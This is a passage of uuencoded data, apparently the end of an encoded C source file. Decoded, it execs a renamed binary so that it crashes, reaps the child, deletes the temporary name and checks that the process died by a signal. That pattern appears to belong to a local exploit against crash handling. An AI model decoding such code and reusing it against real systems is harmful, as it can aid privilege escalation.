M+@H@("`@("`@("`@("!E>&5C;"AN97=N86UE+"!N97=N86UE+"`B8W)A<V@B M+"!.54Q,*3L*"B`@("`@("`@("`@("O(%1H:7,@<VAO=6QD(&%L=V%Y<R!W M;W)K+@H@("`@("`@("`@("!E<G(H15A)5%]&04E,55)%+"`B=6YE>'!E8W1E M9"!E>&5C=F4@9F%I;'5R92(I.PH@("`@("`@('T*"B`@("`@("`@+R@4F5A M<"!C<F%S:&5D('-U8G!R;V-E<W,N"B`@("`@("`@:68@*'=A:71P:60H<&ED M+"`F<W1A='5S+"`P*2`A/2!P:60I('L*("`@("`@("`@("`@97)R*$58251? M1D%)3%5212P@(G=A:71P:60@9F%I;'5R92(I.PH@("`@("`@('T*"B`@("`@ M("`@+R@0VQE86X@=7`@=&AE('1E;7!O<F%R>2!N86UE+@H@("`@("`@(&EF M("AU;FQI;FLH;F5W;F%M92D@(3T@,"D@>PH@("`@("`@("`@("!E<G(H15A) M5%]&04E,55)%+"`B9F%I;&5D('1O(&-L96%N('5P(BD["B`@("`@("`@?0H* M("`@("`@("`O+R!-86ME('-U<F4@:70@8W)A<VAE9"!A<R!E>'!E8W1E9"X* M("`@("`@("!I9B`H(5=)1E-)1TY!3$5$*'-T871U<RDI('L*("`@("`@("`@ M("`@97)R>"A%6$E47T9!24Q54D4L(")S;VUE=&AI;F<@=V5N="!W<F]N9R(I G.PH@("`@("`@('T*("`@('T*"B`@("!R971U<FX@8VAI;&0["GT* ` end

 

TOP